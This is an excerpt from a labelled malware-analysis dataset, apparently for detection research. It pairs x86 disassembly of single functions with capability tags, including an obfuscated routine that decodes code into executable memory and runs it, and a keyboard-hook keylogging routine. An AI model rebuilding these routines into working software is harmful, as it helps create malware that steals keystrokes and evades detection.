joyce8/EMBER2024-capa huggingface dataset:
Function at 0x655f60
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x655fec
push esi
call fcn.0066b2a0
add esp, 4
test al, al
jne 0x655fec
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x655f83
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.00674690
add esp, 0xc
test eax, eax
je 0x655fb7
sub eax, esi
push eax
push 0x2e
push esi
call fcn.00674690
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x655fb9
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
mov ebx, 0x1505
add edi, esi
cmp esi, edi
jae 0x655fe5
mov al, byte [esi]
push eax
call fcn.00665090
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x655fc7
pop edi
movzx eax, bl
pop ebx
pop esi
ret
xor eax, eax
pop esi
ret

Function at 0x660860
Capabilities:
Write file on windows

Disassembly:
push edi
mov edi, dword [esp + 8]
cmp byte [edi + 0x6f9], 0
je 0x6608f7
cmp dword [edi + 0x1a8], 0
je 0x6608b1
push esi
push 1
push edi
call fcn.00651010
push dword [edi + 0x14c]
mov eax, dword [edi + 0x1a8]
push dword [esp + 0x24]
push dword [esp + 0x24]
push dword [esp + 0x24]
push edi
call eax
push 0
push edi
mov esi, eax
call fcn.00651010
add esp, 0x24
mov eax, esi
pop esi
pop edi
ret
mov edx, dword [esp + 0xc]
mov ecx, edx
sub ecx, 0
je 0x6608c6
sub ecx, 1
je 0x6608c6
sub ecx, 1
jne 0x6608f7
push dword [edi + 0x148]
lea eax, [edx*2 + 0x850308]
push 1
add eax, edx
push 2
push eax
call fcn.006c0a2e
push dword [edi + 0x148]
push 1
push dword [esp + 0x2c]
push dword [esp + 0x2c]
call fcn.006c0a2e
add esp, 0x20
xor eax, eax
pop edi
ret
Function at 0x675740
Capabilities:
Create thread

Disassembly:
push 0
push 0
push dword [esp + 0x10]
push dword [esp + 0x10]
push 0
push 0
call fcn.006c5add
mov ecx, eax
add esp, 0x18
xor eax, eax
test ecx, ecx
je 0x675766
cmp ecx, 0xffffffff
cmovne eax, ecx
ret
Function at 0x698ec0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
mov ebp, dword [esp + 0x18]
push esi
push dword [esp + 0x24]
call fcn.006632a0
mov edx, dword [ebp + 0xc]
mov ebx, eax
mov ecx, dword [ebp + 0x14]
mov dword [esp + 0x14], ebx
lea ecx, [ecx + edx*2]
add ecx, 0xc
push ecx
call dword [0x909100]
mov esi, eax
add esp, 8
test esi, esi
je 0x699042
lea ecx, [esi + 0xc]
mov dword [esi], ebp
mov dword [esi + 4], ecx
mov eax, dword [ebp + 0xc]
add eax, ecx
mov dword [esi + 8], eax
push edi
lea edi, [ebp + 4]
cmp ebx, dword [ebp + 0x10]
jbe 0x698f42
mov eax, dword [ebp]
push ecx
call eax
mov eax, dword [esp + 0x28]
push ebx
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
mov eax, dword [esi + 8]
add eax, dword [ebp + 0xc]
push dword [esi + 4]
mov dword [esp + 0x38], eax
push eax
mov eax, dword [ebp + 8]
call eax
mov eax, dword [ebp + 0x14]
add esp, 0x18
mov dword [esp + 0x14], eax
push dword [esi + 4]
mov eax, dword [ebp]
call eax
push dword [esi + 8]
mov eax, dword [ebp]
call eax
mov eax, dword [esp + 0x1c]
add esp, 8
xor ebx, ebx
test eax, eax
je 0x698fb3
mov ebp, dword [esp + 0x24]
mov ebx, eax
mov dword [esp + 0x18], eax
nop dword [eax]
movzx eax, byte [ebp]
xor al, 0x36
mov byte [esp + 0x13], al
lea eax, [esp + 0x13]
push 1
push eax
push dword [esi + 4]
mov eax, dword [edi]
call eax
movzx eax, byte [ebp]
lea ebp, [ebp + 1]
xor al, 0x5c
mov byte [esp + 0x1f], al
lea eax, [esp + 0x1f]
push 1
push eax
push dword [esi + 8]
mov eax, dword [edi]
call eax
add esp, 0x18
sub ebx, 1
jne 0x698f70
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x20]
cmp ebx, dword [ebp + 0x10]
jae 0x698fe5
nop dword [eax + eax]
mov eax, dword [edi]
push 1
push 0x858e18
push dword [esi + 4]
call eax
mov eax, dword [edi]
push 1
push 0x858e19
push dword [esi + 8]
call eax
inc ebx
add esp, 0x18
cmp ebx, dword [ebp + 0x10]
jb 0x698fc0
push dword [esp + 0x30]
call fcn.006632a0
mov ecx, dword [esi]
push eax
push dword [esp + 0x34]
push dword [esi + 4]
mov eax, dword [ecx + 4]
call eax
mov edi, dword [esp + 0x44]
add esp, 0x10
mov ebx, dword [esi]
test edi, edi
jne 0x699010
mov edi, dword [ebx + 0xc]
add edi, dword [esi + 8]
push dword [esi + 4]
mov eax, dword [ebx + 8]
push edi
call eax
push dword [ebx + 0x14]
mov eax, dword [ebx + 4]
push edi
push dword [esi + 8]
call eax
push dword [esi + 8]
mov eax, dword [ebx + 8]
push edi
call eax
push esi
call dword [0x909104]
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
pop esi
pop ebp
mov eax, 0x1b
pop ebx
add esp, 0xc
ret
Function at 0x6dc627
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.006dc4a6
Function at 0x6eba30
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xc
call fcn.0047af70
mov eax, dword [esp + 0x10]
push ebx
push esi
test byte [eax + 0x10], 4
mov esi, dword [eax + 4]
lea ebx, [esi - 1]
je 0x6ebad7
mov ecx, dword [eax + 8]
xor edx, edx
push ebp
xor ebp, ebp
mov dword [esp + 0xc], 0
mov dword [esp + 0x1c], edx
mov dword [esp + 0x14], ecx
test ecx, ecx
jle 0x6ebac0
mov ecx, dword [eax]
mov dword [esp + 0x10], ecx
push edi
push dword [ecx]
mov eax, ebp
xor eax, ebx
lea edi, [eax - 1]
not eax
shr edi, 0x1f
shr eax, 0x1f
and edi, eax
neg edi
mov esi, edi
or esi, dword [esp + 0x14]
call fcn.006ebb00
mov ecx, dword [esp + 0x18]
mov edx, esi
not edx
mov dword [esp + 0x14], esi
and edx, 0x20
and eax, edi
add edx, dword [esp + 0x24]
inc ebp
add edx, eax
add ecx, 4
add esp, 4
mov dword [esp + 0x20], edx
mov dword [esp + 0x14], ecx
cmp ebp, dword [esp + 0x18]
jl 0x6eba73
pop edi
mov eax, ebx
shr ebx, 0x1f
not eax
dec eax
shr eax, 0x1f
and eax, ebx
pop ebp
dec eax
pop esi
and eax, edx
pop ebx
add esp, 0xc
ret
test esi, esi
jne 0x6ebae3
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
mov eax, dword [eax]
push dword [eax + esi*4 - 4]
call fcn.006ebb00
add esp, 4
shl esi, 5
add esi, 0xffffffe0
add eax, esi
pop esi
pop ebx
add esp, 0xc
ret

Function at 0x708770
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
xor dl, dl
test esi, esi
je 0x708797
mov eax, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
sub edi, eax
mov cl, byte [edi + eax]
lea eax, [eax + 1]
xor cl, byte [eax - 1]
or dl, cl
sub esi, 1
jne 0x708786
pop edi
movzx eax, dl
pop esi
ret
Function at 0x7f0b10
Capabilities:
Compute adler32 checksum

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.007f0b20

Function at 0x7f0da0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.007f0db0

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40ea60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x40ea6f
pop dword [ebp - 0x28]
mov eax, 0xfd543fd4
add eax, 0x2ecaa9b
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0x15b6b8a7
sub dword [ebp - 0x38], 0xc764735c
mov dword [ebp - 0x34], 0x2721eb52
add dword [ebp - 0x34], 0xb1160f3
mov dword [ebp - 0x30], 0x142e2a74
add dword [ebp - 0x30], 0x381e19ba
mov dword [ebp - 0x2c], 0xa234d35a
sub dword [ebp - 0x2c], 0xa234d35a
lea eax, [ebp - 0x38]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xded565b9
add dword [ebp - 0x38], 0x959d039d
mov dword [ebp - 0x34], 0xc9fff4fc
add dword [ebp - 0x34], 0x776c6c79
mov dword [ebp - 0x30], 0xec43c5b4
add dword [ebp - 0x30], 0x772ba6b8
mov dword [ebp - 0x2c], 0x92fed476
sub dword [ebp - 0x2c], 0x92fed476
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3c58b
push 0
call eax
mov ecx, 0x4280
xor edi, edi
add edi, eax
mov edx, 0x2e18f5df
add edx, 0xd22a4e21
add edx, dword [ebp - 0x28]
mov esi, 0x47df404
sub esi, 0x66c854af
add dword [ebp - 0x1c], 0x46d23567
mov ebx, dword [edx]
sub dword [ebp - 0x10], 0xd5831b4
xor ebx, esi
mov dword [edi], ebx
mov dword [ebp - 0x20], 0xa71c96d
add edi, 0xec915d82
add edi, 0x136ea282
add edx, 0x9eec3cf1
sub edx, 0x9eec3ced
loop 0x40eb83
add eax, 0xd12ffb0f
sub eax, 0xd12efe3c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xcfab8fc2
add ecx, 0x3094703e
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x401498
Capabilities:
Check os version

Disassembly:
enter 0x7b0, 0
push ebx
push esi
push edi
push 0x40b0b6
push 0x401725
call fcn.00408e78
mov eax, dword [ebp + 8]
push eax
push 0
call fcn.0040888c
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call sub.kernel32.dll_GetVersionExA
test eax, eax
jne 0x4014d8
jmp 0x40170d
mov eax, dword [ebp - 0x84]
dec eax
jne 0x4015cd
cmp dword [ebp - 0x90], 4
jne 0x401534
cmp word [ebp - 0x88], 0x3b6
jne 0x401534
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x198]
push eax
lea eax, [ebp - 0x194]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x38]
call fcn.00407f26
push 0x40b077
call fcn.004086a8
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x4015c8
cmp dword [ebp - 0x90], 4
jne 0x401589
cmp dword [ebp - 0x8c], 0xa
jne 0x401589
cmp word [ebp - 0x88], 0x7ce
jne 0x401589
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x298]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x38]
call fcn.00407f26
push 0x40b07a
call fcn.004086a8
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x4015c8
cmp dword [ebp - 0x8c], 0x5a
jne 0x4015c8
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x3a0]
push eax
lea eax, [ebp - 0x39c]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x38]
call fcn.00407f26
push 0x40b07d
call fcn.004086a8
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x40170d
dec eax
jne 0x4016eb
cmp dword [ebp - 0x90], 3
jne 0x401618
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x4a4]
push eax
lea eax, [ebp - 0x4a0]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x38]
call fcn.00407f26
push 0x40b080
call fcn.004086a8
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x4016e9
cmp dword [ebp - 0x90], 4
jne 0x40165c
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x5a8]
push eax
lea eax, [ebp - 0x5a4]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x38]
call fcn.00407f26
push 0x40b088
call fcn.004086a8
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x4016e9
cmp dword [ebp - 0x90], 5
jne 0x4016e9
cmp dword [ebp - 0x8c], 0
jne 0x4016aa
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x6ac]
push eax
lea eax, [ebp - 0x6a8]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x38]
call fcn.00407f26
push 0x40b08f
call fcn.004086a8
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x4016e9
cmp dword [ebp - 0x8c], 1
jne 0x4016e9
mov eax, dword [ebp + 8]
push eax
lea eax, [ebp - 0x7b0]
push eax
lea eax, [ebp - 0x7ac]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x38]
call fcn.00407f26
push 0x40b094
call fcn.004086a8
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x40170d
inc eax
inc eax
jne 0x4016ff
mov eax, dword [ebp + 8]
push eax
push 0x40b09f
call fcn.0040888c
jmp 0x40170d
mov eax, dword [ebp + 8]
push eax
push 0x40b0ae
call fcn.0040888c
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x40172c
push 0x40b0b6
call fcn.00408ecc
ret
Function at 0x401bcc
Capabilities:
Get disk information

Disassembly:
enter 0x528, 0
push ebx
push esi
push edi
push 0x40b223
push 0x401d5b
call fcn.00408e78
mov eax, dword [ebp + 0xc]
push eax
push 0
call fcn.0040888c
push 0x100
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
push 0x100
lea eax, [ebp - 0x102]
push eax
mov eax, dword [ebp + 8]
push eax
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x401d43
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x414]
push eax
push 0x40b209
call fcn.00408600
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x102]
push eax
call fcn.00407f26
call fcn.004086a8
push 0x40b20b
call fcn.004086a8
call fcn.004087d8
pop eax
push dword [eax]
call fcn.0040888c
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x401c86
mov eax, dword [eax - 4]
cmp eax, 0xe
jge 0x401cca
mov eax, dword [ebp - 0x214]
test eax, eax
je 0x401c98
mov eax, dword [eax - 4]
cmp eax, 0xe
jge 0x401cca
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 0x214]
call fcn.004088c4
push 0x40b215
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
jmp 0x401c8b
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x524]
push eax
push dword [ebp - 0x214]
call fcn.004088c4
lea eax, [ebp - 0x520]
push eax
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x204]
push eax
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408928
push 0x40b21f
call fcn.00408928
lea eax, [ebp - 0x528]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401aff
pop eax
push dword [eax]
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
mov eax, dword [ebp + 0xc]
push eax
push dword [ebp - 0x214]
call fcn.0040888c
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x401d62
push 0x40b223
call fcn.00408ecc
ret

Function at 0x401d69
Capabilities:
Receive data
Receive data on socket

Disassembly:
enter 0x110, 0
push ebx
push esi
push edi
push 0x40b26c
push 0x401e12
call fcn.00408e78
mov al, 0
mov dword [ebp - 0x110], eax
push 0x40dd52
push 0x1002
push 0
call fcn.00408c78
push 0
push 0x100
push 0x40dd52
push dword [0x40c944]
call sub.wsock32.dll_recv
cmp eax, 0xffffffff
je 0x401dfa
cmp dword [ebp + 8], 0
je 0x401dfa
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
call fcn.00401000
pop eax
push dword [eax]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x108]
push eax
push 0x40dd52
call fcn.00407f26
call fcn.004087d8
pop eax
push dword [eax]
call fcn.00408ac0
test eax, eax
je 0x401dfa
mov al, 1
mov dword [ebp - 0x110], eax
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x401e19
push 0x40b26c
call fcn.00408ecc
ret
Function at 0x4022c0
Capabilities:
Get file size

Disassembly:
push esi
push edi
push 1
call fcn.004011ca
push eax
call sub.kernel32.dll__lopen
mov esi, eax
push 0
push esi
call sub.kernel32.dll_GetFileSize
cmp eax, 0x1312d00
jle 0x4022e8
push esi
push 0
call fcn.004076a0
push 2
push 0
push esi
call sub.kernel32.dll__llseek
mov eax, dword [0x40c920]
test eax, eax
je 0x4022fe
mov eax, dword [eax - 4]
test eax, eax
jle 0x40234e
mov edi, dword [0x40c920]
test edi, edi
je 0x40230f
mov edi, dword [edi - 4]
mov edx, 1
jmp 0x402331
mov eax, dword [0x40c920]
mov cl, byte [edx + eax - 1]
xor cl, 0x66
push 0x40c920
call fcn.00408988
mov byte [edx + eax - 1], cl
inc edx
cmp edi, edx
jge 0x402316
mov eax, dword [0x40c920]
test eax, eax
je 0x402341
mov eax, dword [eax - 4]
push eax
mov eax, dword [0x40c920]
push eax
push esi
call sub.kernel32.dll__lwrite
push esi
call sub.kernel32.dll__lclose
push 0x40c920
push 0
call fcn.0040888c
and dword [0x40c88c], 0
pop edi
pop esi
ret
Function at 0x40236a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
enter 0x12c, 0
push ebx
push esi
push edi
push 0x40b36f
push 0x402541
call fcn.00408e78
mov eax, dword [ebp + 0x14]
push eax
push 0
call fcn.0040888c
mov bl, 0
lea eax, [ebp - 0x11b]
push eax
push 0x40b350
call fcn.00407e6a
test bl, bl
je 0x4023b1
lea eax, [ebp - 0x11b]
push eax
push dword [ebp + 0xc]
call fcn.00407e6a
lea eax, [ebp - 0x11b]
push eax
push dword [ebp + 8]
call fcn.00407ebd
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [0x40c944], eax
cmp dword [0x40c944], 0xffffffff
jne 0x4023de
jmp 0x402529
lea eax, [ebp - 0x11b]
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x40244d
lea eax, [ebp - 0x11b]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
jne 0x402420
test bl, bl
je 0x40240e
jmp 0x402529
push dword [0x40c944]
call sub.wsock32.dll_closesocket
mov bl, 1
jmp 0x40238d
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx]
mov cl, byte [ecx]
mov byte [ebp - 0x14], cl
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx]
mov cl, byte [ecx + 1]
mov byte [ebp - 0x13], cl
mov ecx, dword [eax + 0xc]
mov ecx, dword [ecx]
mov cl, byte [ecx + 2]
mov byte [ebp - 0x12], cl
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov al, byte [eax + 3]
mov byte [ebp - 0x11], al
jmp 0x40245c
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x14]
push eax
push 4
call fcn.00408c1c
mov word [ebp - 0x18], 2
movzx eax, word [ebp + 0x10]
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x16], ax
push 0x10
lea eax, [ebp - 0x18]
push eax
push dword [0x40c944]
call sub.wsock32.dll_connect
cmp eax, 0xffffffff
jne 0x4024a3
test bl, bl
je 0x402491
jmp 0x402529
push dword [0x40c944]
call sub.wsock32.dll_closesocket
mov bl, 1
jmp 0x40238d
mov eax, dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x120]
push eax
movzx eax, byte [ebp - 0x14]
push eax
call fcn.00401000
push 0x40b359
call fcn.00408928
lea eax, [ebp - 0x124]
push eax
movzx eax, byte [ebp - 0x13]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00408928
push 0x40b363
call fcn.00408928
lea eax, [ebp - 0x128]
push eax
movzx eax, byte [ebp - 0x12]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00408928
push 0x40b36d
call fcn.00408928
lea eax, [ebp - 0x12c]
push eax
movzx eax, byte [ebp - 0x11]
push eax
call fcn.00401000
pop eax
push dword [eax]
call fcn.00408928
pop eax
push dword [eax]
call fcn.0040888c
xor eax, eax
pop dword fs:[eax]
add esp, 8
push 0x402548
push 0x40b36f
call fcn.00408ecc
ret
Function at 0x403440
Capabilities:
Delete file
Set file attributes

Disassembly:
push 0x20
call fcn.004011ca
push eax
call sub.kernel32.dll_SetFileAttributesA
call fcn.004011ca
push eax
call sub.kernel32.dll_DeleteFileA
push 0x20
push 0x40cc4e
call sub.kernel32.dll_SetFileAttributesA
push 0x40cc4e
call sub.kernel32.dll_DeleteFileA
push 1
call fcn.00401917
ret
Function at 0x403d52
Capabilities:
Query or enumerate registry value

Disassembly:
enter 0x10, 2
and dword [ebp - 0x18], 0
mov dword [ebp - 0x10], 0xfe
mov dword [ebp - 0x14], 0xfe
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
add eax, 0xfffffdee
push eax
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
add eax, 0xfffffeef
push eax
mov eax, dword [ebp - 4]
push dword [eax - 0xc]
mov eax, dword [ebp - 4]
push dword [eax - 8]
call sub.advapi32.dll_RegEnumValueA
leave
ret

Function at 0x4045cc
Capabilities:
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
mov eax, dword [ebp - 4]
mov cl, byte [eax - 0x5fb]
inc cl
mov eax, dword [ebp - 4]
mov byte [eax - 0x5fb], cl
mov eax, dword [ebp - 4]
cmp byte [eax - 0x5fb], 0x39
jbe 0x40460b
mov eax, dword [ebp - 4]
mov cl, byte [eax - 0x5fa]
inc cl
mov eax, dword [ebp - 4]
mov byte [eax - 0x5fa], cl
mov eax, dword [ebp - 4]
mov byte [eax - 0x5fb], 0x30
mov eax, dword [ebp - 4]
mov dl, byte [eax - 0x5fb]
mov eax, dword [ebp - 4]
add eax, 0xfffffa07
push eax
call fcn.00408988
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx - 0x5f9]
test ecx, ecx
je 0x404632
mov ecx, dword [ecx - 4]
mov byte [ecx + eax - 1], dl
mov eax, dword [ebp - 4]
mov dl, byte [eax - 0x5fa]
mov eax, dword [ebp - 4]
add eax, 0xfffffa07
push eax
call fcn.00408988
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx - 0x5f9]
test ecx, ecx
je 0x40465d
mov ecx, dword [ecx - 4]
dec ecx
mov byte [ecx + eax - 1], dl
mov eax, dword [ebp - 4]
add eax, 0xfffffa07
push eax
call fcn.00408988
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx - 0x5f9]
test ecx, ecx
je 0x404680
mov ecx, dword [ecx - 4]
dec ecx
dec ecx
mov byte [ecx + eax - 1], 0x7e
mov eax, dword [ebp - 4]
mov eax, dword [eax - 0x5f9]
push eax
call sub.kernel32.dll_GetFileAttributesA
mov esi, eax
push 0x20
mov eax, dword [ebp - 4]
mov eax, dword [eax - 0x5f9]
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp - 4]
mov eax, dword [eax - 0x5f9]
push eax
call sub.kernel32.dll_DeleteFileA
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax - 0x5f9]
push eax
call sub.kernel32.dll_SetFileAttributesA
pop esi
ret
Function at 0x405087
Capabilities:
Log keystrokes via application hook

Disassembly:
enter 0x108, 2
push ebx
push esi
mov bl, 0
cmp dword [ebp + 8], 0
je 0x4050a4
lea eax, [ebp - 0x10f]
push eax
push dword [ebp + 8]
call fcn.00407e6a
lea eax, [ebp - 0x10f]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x138]
call fcn.00407ebd
lea eax, [ebp - 0x10f]
push eax
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x405151
mov eax, dword [0x40c86c]
push dword [eax + 0x13c]
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x410d58], eax
cmp dword [0x410d58], 0
je 0x405105
push 0
push esi
push dword [0x410d58]
push 2
call sub.user32.dll_SetWindowsHookExA
mov dword [0x410ef8], eax
mov eax, dword [0x40c86c]
push dword [eax + 0x160]
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x410d5c], eax
cmp dword [0x410d5c], 0
je 0x405139
push 0
push esi
push dword [0x410d5c]
push 0xc
call sub.user32.dll_SetWindowsHookExA
mov dword [0x410efc], eax
mov eax, dword [0x40c86c]
push dword [eax + 0xe0]
push esi
call sub.kernel32.dll_GetProcAddress
mov dword [0x40c874], eax
mov bl, 1
mov al, bl
pop esi
pop ebx
leave
ret 4

Function at 0x405159
Capabilities:
Extract resource via kernel32 functions

Disassembly:
enter 0x118, 1
push esi
push edi
push 0x66
push 0x65
push 0
call sub.kernel32.dll_FindResourceA
mov esi, eax
test esi, esi
je 0x40523f
push esi
push 0
call sub.kernel32.dll_LoadResource
mov edi, eax
push esi
push 0
call sub.kernel32.dll_SizeofResource
mov dword [ebp - 0x18], eax
push edi
call sub.kernel32.dll_LockResource
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x11a]
push eax
push 0x40cb4c
call fcn.00407e6a
lea eax, [ebp - 0x11a]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x138]
call fcn.00407ebd
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x11a]
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
jne 0x405222
lea eax, [ebp - 0x11a]
push eax
call fcn.00401090
push eax
call fcn.00407e6a
lea eax, [ebp - 0x11a]
push eax
mov eax, dword [0x40c86c]
push dword [eax + 0x138]
call fcn.00407ebd
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x11a]
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x405233
push dword [ebp - 0x18]
push dword [ebp - 0x10]
push esi
call sub.kernel32.dll__lwrite
push esi
call sub.kernel32.dll_CloseHandle
push edi
call fcn.00407fc1
push 0x40ba12
call fcn.00405087
test al, al
jne 0x405258
call fcn.00401090
push eax
call fcn.00405087
pop edi
pop esi
leave
ret